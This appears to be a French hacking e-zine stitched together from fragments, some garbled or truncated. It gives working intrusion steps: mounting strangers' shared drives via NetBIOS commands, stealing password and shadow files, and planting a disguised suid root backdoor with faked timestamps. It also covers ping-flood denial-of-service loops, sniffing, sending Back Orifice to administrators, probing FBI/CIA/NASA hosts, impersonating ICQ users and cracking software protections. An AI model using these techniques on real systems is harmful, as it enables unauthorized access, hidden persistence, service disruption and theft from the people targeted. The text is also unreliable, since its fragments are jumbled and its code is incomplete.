> tracert
ENTREE
Et vous aurez une série d'infos à faire sur le tracert.
- Pinger sous DOS: Pinger sert à savoir, si oui ou non, la cible à pinger existe et si la connexion est de bonne
qualité et pas trop lente. Pour pinger faites (toujours sous Dos et les ">" ne devant pas être écrit):
> ping 123.123.123.123
ENTREE
Pour connaitre d'autres fonctions du ping faites (toujours sous Dos et les ">" ne devant pas être écrit):
> ping
ENTREE
Et une série d'infos sur le ping vous sera données.
En générant un flood de ping vous pouvez faire ralentir la vitesse de connection de la cible, voir même la
déconnecter!
- Un outil très utile: WS_PINGPR: Essayez de le trouver sur le net et de le télécharger (sa taille en zip est de:
69ko). Malgré sa petite taille, ce pinger, tracer, et autres.... peut vous être très très utile! Je m'explique: Supposons
que vous cherchiez à avoir les N° de tel des mec de Multimania, avec leurs e-mails, les infos sur Multimania etc...
a première vue, celà parait impossible si on ne vous les donne pas! Faux. Ce petit engin vous le garantit! Une
petite image pour mieux comprendre et je vous explique:
Donc ici, vous avez les infos sur Multimania: nom des contacts, adresse IP du site, date de la création, etc... Vous
remarquez que vous avez des noms, leurs tels et leurs adresses e-mails.
Vous pouvez aussi tracer, pinger etc... Si vous essayez sur un particulier vous obtiendrez uniquement son adresse
IP et son adresse TCP. Cet outil est très utile dans le domaine du hacking.
- Internet , Structure : Internet est avant tout un ensemble de reseaux interconnectes par divers moyens : cartes
reseaux, fibres optiques, sattelites ... Tel que l'utilisateur le voit, il ne saura jamais comment sont connectees ces
differentes machines: en effet, afin d'etablir une compatibilite,un protocole de haut niveau a ete etablis: le TCP/IP
(Transfert Control Protocol/ Internet Protocol).Il recouvre de nombreux protocoles non visibles par l'utilisateur:
chaque machine possede une adresse IP,soit fixe, soit variable selon la connexion; ainsi un serveur Web aura
toujours une IP fixe puisqu'il doit etre consultable en permanence et que celui qui consulte ne doit pas avoir a
retrouver l'adresse a chaque fois.Les http (les adresses de la forme www.truc.com, www.machine.org...)
correspondent en fait a des adresses IP;elles n'ont ete creees que dans un but de simplification:il est plus simple de
retenir www.zymark.com que 198.199.168.4 pour le site de la societe Zymark. Ainsi lorsque vous tapez une http
dans un logiciel internet quelconque,lors de la consultation d'un site,celle-ci sera convertie enune IP par un
serveur; ce sont les tables de routage qui referencent les correspondances http/IP. Les IP variables sont en fait
utilisees par les connectes ponctuels a Internet comme vous ou moi.Ainsi a chaque connexion a Internet,votre
provider vous delivre une IP au "hasard". Une IP est en fait un champ de 32 bits: les 8 premiers determinent la
classe du reseau et l'identifient,les 24 suivants identifient des sous-reseaux et des machines.
Ces 32 bits sont, pour l'utilisateur courrant,repartis en 4 champs de 8 bits separes par des points donc une adresse
IP pourrait varier de 0.0.0.0 a 255.255.255.255. Toutes ces IP ne servent pas, et certaines ont des significations
particulieres. Ainsi l'adresse 127.0.01 est en fait l'adresse de la machine elle-meme. Exemple:Si votre IP est
152.148..68.32,vous pourrez identifier votre machine par 152.148.68.32 mais aussi par 127.0.0.1 pour vous
connecter sur vous-meme. Cependant, si quelqu'un d'autre se connecte sur le 127.0.0.1, il se connectera sur sa
propre machine.S'il se connecte sur le 152.148.68.32, il se connectera sur votre machine
TCP/IP est un protocole de haut niveau dans la mesure ou il recouvre plusieurs autres protocoles .
Votre connexion passera en fait par plusieurs machines qui regulent et dirigent les informations entre les reseaux
meme si vous ne voyez pas ces machines. Si en passant entre tous ces reseaux, vos informations aura
probablement ete transferees sous differents protocoles et sur differents types de reseaux physiques, mais pour
vus, tout est reste transparent comme si un fil etait tendu entre la machine distante et la votre. Bref aperçu sur les
classes de reseaux: Les classes de reseaux ont en fait ete definies lors de l'augmentation prodigieuse du nombre de
machine connectees a Internet de maniere quasi permanente.voici les différentes classes:Classe :
- Exploiter un sytème: L'exploitation du systeme est ce qui devient réellement interessant: en penetrant un
systeme, vous ne serez probablement pas root du premier coup ... Essayez quand meme de choper le fichier /etc/
passwd (par les ftp d'un site avec le navigateur. C.f.: issue1) si vous ne l'avez pas ... Puis regardez de quel systeme
d'exploitation il s'agit. En effet, de nombreux systemes possèdent des bugs qui sont exploitables.C'est a dire qu'une
série de commandes mal configurées sur le systeme peuvent vous donner l'accès root apres leur execution: cela va
des scripts aux programmes. Cette serie de commandes s'appelle un exploit;vous en trouverez plein sur le Net avec
ftpsearch . Essayez d'abord ces commandes . Il est nécessaire a ce niveau de connaitre la programmation en C et
sous les shells. Le shell est l'interpreteur de commandes: cela correspond au Dos; vous savez probablement que
l'ont peut programmer des fichier batch avec un langage restreint sous Dos.. C'est pareil sous Unix ... Je ne
m'étendrais pas plus sur les exploits cette fois-ci ... essayez deja un peu tout ce qui a été expliqué ici ...
#include <stdio.h>
void main(void)
{
puts("Desole pour un exemple pourri comme celui-la.");
}
C'est une facon de proceder cependant, la taille du fichier reste importante, et c'est assez astreignant a taper.
Voyons une forme plus optimisee: i est ici une variable de type unsigned char.
i=0
processus:
if(char[i]==' ')
trouve();
else pastrouve();
i=i+i;
if(i<=7)
goto processus;
Nous avons ici une instruction de saut : goto processus; elle signifie que lorsqu'elle est executee, le programme
continue a la suite de la ligne processus: . Je vais un peu mieux expliquer la structure if(condition). Si vous n'avez
qu'une instruction a effectuer dans le cas ou la condition est verifiee, alors la syntaxe est:
if(condition) instruction;
Cependant vous pouvez avoir plus d'une instruction a exectuer si cette condition est verifiee auquel cas, vous
devrez utiliser la syntaxe :
if(condition){instruction_1;instruction_2;...instruction_n;}
Mais un autre cas de figure peut se presenter:lorsque selon la condition, vous souhaitez executer differentes
instructions.Cela donne:
if(condition) instruction_1;
else instruction;
instructions_suivantes;
Dans ce cas de figure,le programme va tester la condition,si elle est vrai, il va executer l'instruction 1 ,puis les
instructions suivantes;si la condition est fausse,il va executer l'instruction 2 puis les instructions suivantes. Dans ce
cas, vous pouvez aussi utiliser des accolades pour des suites d'instructions.Ces formes de d'instructions
conditionnelles sont les plus basiques qui soient;j'introduirais plus tard d'autres formes plus efficaces au niveau du
code...
Nous avons vu comment afficher des variables ou comment les modifier ... mais l'utilisateur doit avoir la
possibilite de specifier ses propres valeurs lors des calculs.Pour l'inviter a entrer le contenu d'une variable,on
utilise la fonction scanf.Supposons que nous donnions a l'utilisateur la possibilite de multiplier pi par un nombre
de son choix,nous allons lui demander d'entrer un entier de type float avec lequel le programme travaillera apres...
Cela donnerait:
float valeur;
scanf("%f",&valeur);
printf("Le resultat est %f",(3.14159*valeur));
Le symbole & precedant valeur dans la fonction scanf est important dans la mesure ou &valeur ne concerne pas le
contenu de valeur mais l'adresse memoire de la variable valeur.En fait scanf attribue a l'emplacement memoire de
valeur une donnee de type float...Il n'y a qu'un cas ou il ne faut pas mettre le &, c'est quand on demande a
l'utilisateur de saisir une chaine de caractere:
char chaine[10];
scanf("%s",chaine);
Nous avons vu comment entrer des donnes,les modifier.Je vais tacher d'expliquer un autre mode d'adressage:
l'adressage memoire direct par les pointeurs.Nous avons vu que scanf lors de l'entree de donnees les attribuer a un
emplacement memoire par le biais du symbole &.Un pointeur correspond en fait a l'adresse memoire d'une
variable.On declare un pointeur en meme temps que les donnes mais en rajoutant le signe * devant son nom: int
*pointeur; pointeur va alors contenir non pas un entier mais l'adresse d'un entier. Exemple:
int entier; Declaration d'une variable de type int
int *pointeur; Déclaration d'un pointeur sur une donnée de type int
entier = 12; Adressage direct : Entier contient 12
pointeur = &entier ; Attribution à pointeur de l'adresse mémoire de la variable entier
Attribution à l'emplacement mémoire référencé par pointeur de la valeur
*pointeur = 45 ; 45 . Comme pointeur contient l'adresse de la variable entier, celle- ci
contient donc la valeur 45 .
*pointeur = 45 ;
Ces deux expressions sont donc équivalentes .
entier = 45 ;
On peut donc afficher la valeur de entier soit par
printf("%i",entier);
ou par
printf("%i",*pointeur);
Il est necessaire de bien maitriser le principe des pointeurs car ils servent dans la gestion des chaines de caracteres.
La plupart des fonctions de gestion des chaines de caracteres sont placees dans le fichier stream.h.Une des plus
importantes est probablement strcmp() qui compare 2 chaines de caracteres et renvoit un valeur selon les
differences On l'utilise de cette maniere:
comp=strcmp(*chaine1,*chaine2);
comp sera nul si les 2 chaines sont egales,positif si la chaine1 est superieur chaine2,negatif si la chaine1 est
inferieure a la chaine2.La comparaison s'ffectue caractere par caractere.Pour comparer "albert" et "alfred", la
fonction strcmp compare d'abord la premiere lettre de chaque mot puis la seconde ... Ici,la chaine "albert" est
inferieure a la chaine "alfred" car "b" est inferieur a "f".Pour 2 chaines de longueurs differentes,par exemple
"mais" et "maison", la chaine "mais" est alors inferieure.Enfin,pour une majuscule et une minuscule, c'est toujours
la majuscule qui est superieure a la minuscule .Quant aux chiffres,ils sont inferieures au majuscules mais
superieurs aux minuscules. Nous avons vu que un programme se composait principalement d'appel a des fonctions
deja definies: main() pour la fonction principale ou alors strcmp(), printf(),scanf() ...On ne trouve pas forcement de
fonction deja definie pour operation que nous souhaitons effectuer:il faut alors la realiser a partir de ses propres
ensembles d'instructions. Cette fonction peut alors renvoyer une valeur, admettre des parametres. Une fonction se
definit alors de cette maniere:
Ainsi si votre fonction doit retourner comme valeur un entier et ne recevoir aucun parametre, vous la definirez
comme suit:
int fonction(void)
{
int i;
instructions
return(i);
}
Voici une bonne introduction au C... Je vous laisse potasser ca pour le moment.
Voilà! ca c'est pour le démarrage! Ensuite... Vous allez sous DOS et vous faîtes (les ">" ne devant pas être écrit):
> ftp
> open
> www.hacker.com
On vous demandera un nom d'user. Vous pouvez rentrer en anonymous si le serveur le permet, et télécharger les
pages, mais ce ne sera pas du hack, je vous dis comment faire:
vous rentrez comme nom d'user: anonymous, ensuite vous tapez n'importe quel password et vous tapez: ls
Donc vous regardez les infos obtenus avec WS_PINGPR et vous avez plusieurs noms qui vous sont donnés:
Beckett et Jodi.
Vous essayez les 2 noms d'utilisateurs et vous remarquez que "Jodi" répond! Très bien! vous venez de faire la
moitié: vous avez trouvez un nom d'user, il vous faut maintenant le password... Inutile de vous casser la tête! Si la
personne est prudente vous n'avez aucune chance de le trouver. Sortez votre meilleur Crackpass et essayez. Par
défaut rabattez-vous sur le(s) routeurs par telnet. Bonne chance!
Voilà! Cet E-mag est bel et bien fini! Je pense en sortir encore d'autres, mais il faudra attendre un peu! Pour tout
commentaires vous pouvez écrire à : [email protected]
HACKER2020
ISSUE N°3
<Disclaimer>
1- Sites aux ftp non protégés
2- textes intéressants d'autres E-mags
3- Les coups de pouces
4- Piratage de site 2
5- Cours de crack 1 par Frog's Print.
Toutes les informations contenues dans ce fanzine n'y sont qu'à titre purement informatif! Il vous
est déconseillé de les appliquer, sous risques d'amendes et de poursuites judiciaires. Moi ou mon
serveur (actuellement Multimania), ne seraient être tenus responsables de ce que vous ferez de ces
informations!
Vous n'avez plus qu'à aller dans etc/passwd et comprendre un peu UNIX, parce que sinon vous
comprendrez pas les infos qui vous sont données à l'écran!!!
LE PRINCIPE :
Donc vous avez compris, avec LMHOST, on peut donc aller voir les ressources
partagées de quelqu'un, à partir du moment qu'on connait son IP, le nom de sa
machine et ses ressources partagées. Et il faut aussi qu'il ait des ressources
partagées évidemment, mais ça faut pas être polytechnicien pour le comprendre.
Vu comme ça, ça fait beaucoup de choses à savoir, mais pas tant que ça en fin
de compte, pour avoir ces renseignements, voici comment faire...
Première chose, pogner l'IP. Là, rien de plus facile, vous repèrez l'IP ou
l'adresse du gars sur IRC par exemple. Si c'est l'IP numérique du type
123.123.123.123, pas de problème, si c'est un truc du genre
[email protected], vous faites: PING -a routeur.domaine.com et vous
aurez son IP. Voilà une bonne chose de faite. Maintenant, ça serait sympa de
savoir le nom d'ordinateur de la personne dont vous voulez voir le disque dur.
Pour cela, Bill nous offre la fonction NBTSTAT qui permet de voir l'‚tat d'un
adapteur réseau, et les infos le concernant.
Ah oui, le -A signifie que c'est une adresse IP numérique que l'on donne.
N'OUBLIEZ PAS LA MAJUSCULE)
C:\>NBTSTAT -A 194.114.95.141
(SI C'EST ECRIT "HOST NOT FOUND", C'EST QUE VOUS DEVEZ
CHANGER DE CIBLE...CAR ELLE N'A PAS NETBEUI D'INSTALLE.)
Ce qui vous intéresse c'est les noms avec écrit UNIQUE à côté. Votre cible
utilise forcément l'un de ces noms de machines en ce moment même !! Et c'est
là qu'intervient LMHOSTS.
Vous éditez LMHOSTS avec EDIT (dans une fenêtre Ms-Dos, tapez "edit") par
exemple, et vous tapez dans ce fichier :
Donc, l'IP, suivi du nom de machine, suivi de #PRE, pour indiquer que cette
correspondance entre l'IP et le nom de machine doit être préchargé, pour ainsi
passer AVANT la résolution DNS. (Si vous ne voulez pas vous fatiguer à editer,
tapez donc "echo 194.114.95.141 MAURO>> c:\windows\lmhosts", ca revient à la
même chose...)
C:\>NBTSTAT -R
"Successful purge and preload of the NBT Remote Cache Name Table."
Maintenant, nous allons nous occuper de chercher les ressources partagées par
notre copain.
Pour voir les ressources, vous allez taper NET VIEW, VIEW comme "voir" en
anglais, remarquez comme les choses sont bien faites. D'ailleurs cette
commande NET est extrêmement puissante, faites donc un NET /? Pour vous en
convaincre !! Donc, ça doit donner un truc comme :
NET VIEW \\MAURO (MAURO car là… nous passons sur le protocole
NETBEUI,
LMHOSTS va se charger de convertir le nom de machine en IP)
---------------------------------------------------
C Disque
D Disque
E Disque
HP4L Impr.
G Disque
I Disque
Exécution achevée.
Je sais donc que tous ces lecteurs sont partagés. Parfait, on va donc aller
faire un tour sur le C: .
K: Connect‚ … \\MAURO\C
Et voilà…, le disque C de la cible est devenu mon disque K: Super non ? Vous
pouvez alors tout visiter et foutre le bordel (ca, c'est tellement dégueux que c'est à
faire qu'aux pédophiles, antisémites, fascistes, ...).
Si vous avez un problème pour la commande NET, utilisez donc ce moyen bien
plus simple et facile d'utilisation :
- une fois l'icône trouvé, double-clic dessus , et voilà la fenêtre de SON poste de
travail qui s'ouvre... Bon Fun ! : ^ )
Cet article s'adresse aux debutants sous unix qui ont pas envie de se prendre
la tete a maitriser et qui ont besoin d'avoir acces au compte de leurs profs
par exemple (mais pour quoi faire au juste ?)...
Sous unix le seul account interessant est l'acces root. Nous sommes bien
d'accord, root est le compte qui vous permet de tout faire sur un systeme.
Son user_id est 0 est son group_id est le meme..
Commencez tout d'abord par reconnaitre le systeme utilise par la machine,
chaque systeme a ses holes et ses problemes... Pour cela, faites appel a
"uname -a" qui vous donnera une reponse franche :
SunOS 4.1.4 par exemple.. Vous avez desormais acces a un systeme bourre de
bugs potentiellement exploitables... La grande mode en matiere de hack, et
la grande technique utilisee par tous de nos jours car elle est simple et
efficace et ne demande pas une grande connaissance du systeme est l'exploit.
L'exploit est un petit programme ou une serie de commande trouvee par un
ingenieux bonhomme qui permet souvent de chopper l'acces root sur un systeme.
Obtenir des exploits n'est pas tres complique... Un petit ftpsearch sur
exploit vous donnera au moins un ftp bourre d'exploits pour differents systemes
que vous n'aurez plus qu'a utiliser pour chopper le root..
Un exploit celebre est celui de la commande umount sous BSD. Si cette commande
possede le bit suid c'est a dire si "ls -l /bin/umount" vous donne un truk
comme:
et que la version de umount est assez ancienne, alors vous pouvez chopper un
root sur le systeme. Vous choppez l'exploit sur votre chti ftp, que nous
appelerons ici mount.c
qui vous permettra de vous logger en root depuis n'importe ou... Sans laisser
de traces sur le syteme. L'exemple ci-dessus ne tient absolument pas compte
du code original de login.c le but est seulement de vous faire piger le
principe... =)
Un autre moyen, utilisable dans les systemes peu surveilles, mais assez
discret quand meme, est de vous creer votre programme a vous, suid, qui vous
donnera le root... Bien entendu il faut securiser ce programme en le deguisant
en programme normal. Donnez lui un nom qui fasse "vrai" et qui justifie le
bit suid par exemple "xfixconsole" qui d'apres son nom necessite un acces a
la console et donc un root..
Placez le dans un repertoire peu frequente tel que /usr/X11R5/bin/ par exemple.
Voici un exemple de code:
----8<-----8<-------8<--------8<-------cut here-------8<------8<-------
/* Xfixconsole by Sorcery
Sacre joli nom huh...
Ne donne le shell que si il est appele ansi:
host:~> xfixconsole fixing */
setuid(0);
setgid(0);
system("/bin/bash");
} else {
printf("\nFixed 0xA000\n");
}
----8<-----8<--------8<--------8<----------cut here---------8<--------
Il faut maintenant lui donner les permissions voulues (+s) pour qu'il puisse
changer son uid et son gid a 0...
voila qui est mieux. Maintenant il faut cacher ce fichier: il y a trois choses
a modifier pour que le fichier passe discretement:
Pour cela, nous mettons le fichier a la meme date que les fichiers qui lui
sont proches: (cela passe bien lorsqu'une serie de cinq fichiers sont cotes
a cotes et ont la meme date...)
bash# ls -l /usr/X11R5/bin/xf*
-r-xr-xr-x 1 root bin 385636 Jul 28 1995 /usr/X11R5/bin/xfig*
-rwxr-xr-x 1 root bin 148600 Jun 24 1995 /usr/X11R5/bin/xfile..
..manager*
-rwsr-xr-x 1 root wheel 38613 Jan 1 1997 /usr/X11R5/bin/xfix..
..console*
-rwxr-xr-x 1 root bin 117344 Jun 18 1995 /usr/X11R5/bin/xfm*
-rwxr-xr-x 1 root bin 770 Jun 18 1995 /usr/X11R5/bin/xfm.ins..
..tall*
-rwxr-xr-x 1 root bin 14184 Jun 18 1995 /usr/X11R5/bin/xfmtype*
bash#
bash# touch -t 180614591995 /usr/X11R5/bin/xfixconsole
bash# touch -t 010114591994 /usr/X11R5/bin
bash# chgrp bin /usr/X11R5/bin/xfixconsole
bash# ls -l /usr/X11R5/bin/xfixconsole
-rws--x--x 1 root bin 38613 Jun 18 1995 /usr/X11R5/bin/xfix..
..console*
Vous avez desormais un chti root sympa sur le systeme, qui vous permettra de
bien vous marrer.
A verifier cependant avant d'installer un tel prog: les crontabs. Dans
/usr/spool/cron/crontabs/root, vous trouverez une liste d'instructions
executees automatiquement par le systeme pour le root. Verifiez bien qu'aucun
script n'est lance qui detecterait par exemple les nouveaux suid installes
sur le systeme (utilisant generalement la commande find) ou autre chose
qui vous grillerait...
Choppez maintenant le fichier shadow, ou son equivalent selon les systemes..
(passwd.orig, passwd.secure, /auth/*/*...).. et crackez vous deux ou trois
accounts a l'aide d'un cracker trouve sur le net (guess, par exemple, ou
crack etc..). Cela vous permettra de ne plus vous logger avec votre compte
pour bidouiller le systeme, ce qui peut etre assez pratique parfois...
Passons maintenant a une aventure qui m'est arrivee dans ma fac et qui
pourrait bien vous arriver si votre fac utilise plusieurs parcs de systemes
differents...
J'avais le root sur le parc HPUX, et besoin du root sur les SunOS de ma
fac. Mon home etait le meme sur les deux, car le meme disk etait partage
par NFS entre les becannes. Le disque etait en local sur HPUX et en NFS
sur les SUNS. Le but etait donc d'exploiter le root de HPUX pour ne pas
avoir a essayer des dizaines d'exploits sur la sun dont le sunos etait
plutot bien protege... Voici donc la methode utilisee:
j'avais donc dans mon home, le fichier xfixconsole.c compile pour sunos, bien
entendu non executable sur la hp...
hp:~> cd /usr/X11R5/bin
sun:~> ./root
bash_sun# whoami
root
bash_sun#
En utilisant mon home comme passerelle, j'ai donc reussi a executer sur la
sun un suid via nfs... Il faut savoir que cela ne marchera que si:
1) Le root obtenu est sur la machine ou le home est local: via nfs, le root
n'a pas le droit de modifier des fichiers qui ne lui appartiennent pas,
et en particulier les rendre suid arf.. (sauf en "insecure"...)
2) Le filesystem est mounte via NFS sans le flag "nosuid" : pour verifier,
faites un df ., qui vous donnera les flags separes par des virgules en
plus de la place disk... (rw,nosuid...)
La meme manip est donc utilisee sur la sun... Pour utiliser touch sous sunos,
il faut passer par /usr/5bin qui contient les binaires repondant aux normes
SVR4 (system 5 release 4), car le /usr/bin de sunos contient un touch qui ne
permet pas de specifier une nouvelle date...
Bonne question...
Plusieurs activites sont marrantes a faire avec un root. Il y a tout d'abord
le flood, qui, si vous avez le root sur un reseau a grande bande passante,
vous permet de faire couler pas mal de connections 14.4 sur le net...
Pour cela, plusieurs utilitaires existent sous linux par exemple, a peu pres
tous bases sur le syn flood qui a tendance a plus trop marcher. Le ping est
encore assez efficace: ping -f host en particulier si vous avez la bonne
version de ping....est assez mechant quand il est utilise avec des '&' par
exemple while (1)
while> ping -f host &
while> end
est assez marrant.... pour arreter le massacre, killer le while puis faire un
killall ping... ICMP rulez! =)
On peut egalement sniffer avec un root...si le systeme est un noeud important
pour d'autres becannes, ou si il est beaucoup frequente, il est possible de
chopper, en ecoutant les connections reseaux, plusieurs acces un peu partout
et pourquoi pas d'autres rewts.. =)
Enfin, le but du rewt est surtout de l'avoir, ensuite imaginez vous tout
simplement aux commandes d'un systeme en 64Mbits sur le net et vos idees
viendront vite... =)
-SorcerY
Grmbl..
Le site du FBI: http://www.fbi.gov/: aucun accès ftp en anonyme possible! Accès telnet possible
(nous verrons ce cas de figure après)
En tant normal, nombreux sont les sites importants qui ont un compte telnet... Comment vérifier
rapidement si tel est le cas!!!
Bon! La méthode la plus simple consiste à faire sous navigateur: telnet://www.url.com ou .gov etc...
Mais il y a de nombreuses chances qu'il y ait un time out qui vous fasse perdre la connexion assez
rapidement comme c'est le cas du FBI si on essaie: telnet://www.fbi.gov
Cela donne:
Ceci est un cas échéant (le site fait de l'IP filtering), donc il est tout à fait possible qu'une connexion
soit maintenue!
Pour essayer de maintenir la connection on va utiliser une méthode moins rapide, se connecter sur l'IP
du site (Cela ne marche que rarement). Vous allez sous DOS vous faites (les ">" ne devant pas être
écrits):
> tracert www.fbi. gov
ENTREE
Et l'IP du site du FBI est le 32.97.253.60. Vous ouvrez telnet à partir de votr pc et vous essayez de
vous connecter au compte du FBI. Dans le cas échéant vous vous retrouverez avec une connexion
d'hôte perdue... Laissez donc tomber l'idée d'accéder aux comptes du FBI, puis essayez d'accéder à
leur rooter par telnet: 165.87.34.184, ou encore à leurs ftp sous DOS en faisant (les ">" ne devant pas
être écrits):
> ftp
> open
> www.fbi.gov
ENTREE
Et utilisez un passcrack pour DOS.
Si vous essayez telnet://www.cia.gov ou nasa.gov, vous verrez qu'il n'y a aucun compte à l'autre bout!
En fait c'est qu'il n'y a aucun compte du nom de www.cia.gov ou de nasa.gov.
Donc il faut prendre l'IP du site! si il a un compte vous tomberez dessus.
Vous tracez donc les deux et vous avez comme adresse IP de la CIA: 198.81.129.99, et celui de la
NASA est le 198.116.116.10.
Donc vous essayez d'écceder à cet comptes telnet par l'I, mais je vous le dis, celà menne à un échec.
Vous laissez donc tomber l'idée d'accéder aux comptes telnet de la CIA et du FBI, car il y a d'autres
sites où ça marche très bien, telnet://www.hacker.com/ par exemple.
- Effacer les messages dans les groupes de news (avec Netscape Navigator version 4.03):
Aller sur un groupe de news, séléctionner un message puis faire (les ">" ne sont pas à faire):
> edition
> préférences
> identité; puis mettre le nick et l'E-mail (tout doir être exact) de la cible, puis faire OK.
Annuler le message avec "suppr".
En fait c'est une technique bête comme chou, mais à laquelle il fallait panser! Inutile d'avoir des icq
cracker ni autre chose, juste icq. Bon, la technique est simple à réaliser. sachez quand même que seul
l'UIN diffèrera de celle de votre victime. Mais pour se faire passer pour quelqu'un c'est l'idéal.
Ouvrez icq et faites (les ">" ne doivent pas être écrits):
> ICQ
> Add/Change Current User
> Register a New User(ICQ#)
Prenes toutes les infos de votre victime dans la rubrique infos, créez un nouvel User à son nick et à
ses infos, puis pour alterner faites:
> Change the Active User
Si vous avez plus de 5 ou 6 users vous ne pourrez en créer plus.
Là aussi c'est un truc bête comme chou: allez dans le fichier source de votre page, recherchez le
compteur et recherchez le numéro actuellement inscrit! Z'avez plus qu'à changer le N° de personnes
entrées sur votre site, sauvez et faites passez en ftp!
Certains le savent d'autres non, il vous suffit de regarder le fichier surce et de regarder ou se trouve
le pass:
Par exemple sur ce code source du site: http://www.jacksgame.com:
function passMe() {
var Goop = document.Qbert.PWORD.value
document.Qbert.PWORD.value = Goop.toUpperCase()
if (document.Qbert.PWORD.value == "WATERS") {
location.href="../desktop/index.html"
}
if (document.Qbert.PWORD.value != "WATERS") {
alert("Close but no cigar!");
Voilà... Autre type de solution, (si il vous est possible de la faire) vous regardez vers quel lien mène
le bouton de validation, et vous n'avez plus qu'à entrer ce lien, à la suite de l'url base.
Accès aux indexs des sites ou serveurs:
Prenons un serveur inintéressant au possible mais qui fera un bon exemple. Nous allons prendre le
serveur: http://www.hacker.com
Vous vous connectez sur ce site, qui ne parle en rien de hack... (en fait si mais il est désormais
impossible de me vérifier). Donc vous allez regarder le code source de la page; celà vous donne:
<html>
<head>
<title>
HACKER.COM
</title>
</head>
<center>
<tr>
<img src="./images/hackertop.gif"><br>
<table>
<tr>
<td>
<a href="resources.html"><img src="./images/1.gif" border=0></a><br>
<a href="proshops.html"><img src="./images/2.gif" border=0></a><br>
<a href="equipment.html"><img src="./images/3.gif" border=0></a><br>
<a href="course.html"><img src="./images/4.gif" border="0"></a><br>
</td>
On va s'arrêter là. Inutile d'inscrire la suite.... En fait il n'y a que ce qui est en rouge qui est
intéressant.
Ici on a le "lieu" où sont stockées les images. C'est dans le répertoire /images. Donc on tape l'url:
http://www.hacker.com/images et on rentre sur l'index d'images. Et voilà. Vous êtes sur l'index des
images et donc vous pouvez voir TOUTES les images à voir sur le site et qui sont passées en ftp.
Vous pouvez essayez sur d'autres sites avec d'autres répertoires comme /files ou d'autres noms.
Essayez aussi: http://www.scoregames.com/Images/
Pour protéger un index il faut créer un répertoire index.htm.
Une certaine option permet de passer les pass sur certains sites. Plus en détail avec quelques
exemples: allez sur le site: http://altern.org/hackers
Cliquez sur Files. Le password est "clanhkc". Mais ce n'est point le password qui nous intéresse. Il est
en effet possible de passer cette protection sur certains sites dans le même genre! Regardez le source,
en effet il est important d'avoir les informations exactes, mais regardez le source du cadre en ayant le
doigt posé sur le lien, sinon ça ne donnera rien:
C'est ce qui est en rouge qui nous intéresse plus particulièrement. Vous n'allez pas vous faire chier
avec le pass n'est-ce pas? alors vous utilisez un passage du nom de protected plus l'expension en
rouge, ce qui donne pour accéder aux files sans mettre aucun password: http://altern.org/hackers/
protected/prot_files.html
Vous y voilà! C'est pas beau tout ça????
Pour commencer, vous devez avoir un minimum de connaissances de Linux ou UINX. Sinon vous
pourrez toujours essayer mais celà vous paraitra moins évident.
Il faut d'abord essayer d'obtenir le maximum d'informations sur le site à pirater: les sous-répertoires,
les indexs, l'adresse IP du site, le webmaster, ne pas hésiter à le tracer sous différents tracers/pingers
(Le meilleur étant WS_PINGPR), l'adresse e-mail des webmasters, vérifier si les ftp par le navigateur
sont protégés (ftp://ftp.url.com), les stats aussi (http://www.url.com/stats), le tracer sous DOS pour
avoir l'adresse du rooter, essayer les accès telnet etc... Celà fait beaucoup mais pett à petit, en
franchissant les étapes on arrive à avoir des résultats concluants.
D'abord vérifier l'accès telnet (telnet://www.url.com), si il existe un compte vous demandant un
login et un mot de passe, vous pouvez essayer de franchir ces barrières et ce sera une bonne chose de
faite. vous vérifier les failles du site et essayez de les exploiter. par exemple si l'éccès par ftp://ftp.url.
com est possible, vous n'avez qu'à aller dans etc/passwd et regarder les noms des utilisateurs. Vous
pourrez ensuite vous connectez dessus par ftp avec le nom d'user sous DOS, en faisant (les ">" ne
devant pas être écrits):
> ftp
> open
> www.url.com
Si les ftp par navigateur, ne sont pas accessibles utilisez WS_PINGPR et allez dans info, puis tracez
le site 2 ou 3 fois si il n'y a rien de concluant. Il y a 90% de chances d'obtenir les noms des contacts
du site, leurs N° de tel. et leurs adresses E-mail. Utilisez ces noms comme logins sous ftp ou telnet.
Celà peut marcher. Si vous n'arrivez absolument pas à obtenir ce genres de résultats laissez tomber et
rabattez-vous sur autre chose, car sinon vous ne pourrez pas faire grand chose.
Pour la suite, une fois les logins vérifiés vous n'avez plus qu'à cracker les pass telnet, ftp sous DOS
et vous pouvez vous amuser. Sinon autre solution, bien plus rapide mais plus risquée et qui a presque
toutes les chances de ne pas marcher. Vous envoyez le serveur de Back Orifice à l'administateur
système, et vous le tracez puis vous prenez les pass, foutez la merde etc... C'est efficace et net!!!
Sinon vous pouvez toujours (mgnihihi!) essayer d'être rooter du serveur, mais comme c'est super-dur
et quasiment infaisable sans mettre un peu de pognons dans des livres qui en parle, ou d'avoir l'élite
pour pote...
Voilà j'espère que ça vous aura aidé!!!
--------------------------------------------------------------------------------
-SUJET : Introduction au Cracking - 1ère Partie
Désassembler un fichier pour le craquer
Conseils et Documentations
1/ INTRODUCTION
Ce premier cours, destiné avant tout aux débutants, va vous donner quelques notions sur
le cracking. Si vous ne connaissez pas grand chose à l'Assembleur, ce n'est pas bien grave
puisque je ne vais pas trop vous faire de bourrage de crâne sur ce sujet (pas encore...:=)
mais je vous conseil de vous munir d'un livre (voir section "4/LIVRES" plus bas) sur
ce langage puisqu'il vous sera quand même nécessaire de connaitre la différence entre
un "Jmp", "Jz', "Jnz" et autres "Jae".
Mais rassurez-vous, nous allons surtout utiliser la logique et notre cervelle ce qui suffira
pour craquer environ la moitié des softs de votre disque dur.
Nous allons craquer ComSpeed 2.01 (53,750 Ko) pour Win 3.X et Win95.
ComSpeed est disponible entre autre sur la page web de son auteur:
(http://ourworld.compuserve.com/homepages/Cordes/). A l'heure ou je rédige ce cours,
on ne trouve plus cette version mais la version 2.11.
Ce n'est pas grave le schéma de protection est EXACTEMENT le même donc dès que vous
aurez bien assimilé ce cours vous n'aurez qu'a vous faire la main sur la dernière
version.
Après tout, vous êtes ici pour apprendre pas pour piquer les cracks des autres et y
mettre votre nom, hein?
ComSpeed est un petit programme qui vous montre les performances de votre modem.
Il a deux types de protections (en fait il en a 3 mais nous verrons cela plus loin..:-):
-Il est limité dans le temps à 120 jours d'utilisation.
-Il est protégé par un mot de passe qui permet son débridage.
1/ "Live Approach" consiste à deboguer le programme (l'exécuter pas à pas) avec un debugger
(comment ne pas nommer ici SoftIce 3.01) en posant des Breakpoints et en le traçant.
Cette méthode est tout particulièrement adaptée aux programmes nécessitants un mot
de passe (comme ComSpeed) ou ayant un "NagScreen".
2/ "Dead Listing" consiste a désassembler le programme et a chercher dans le listing
le schéma de protection pour le modifier à son gré. Cette méthode est assez formidable
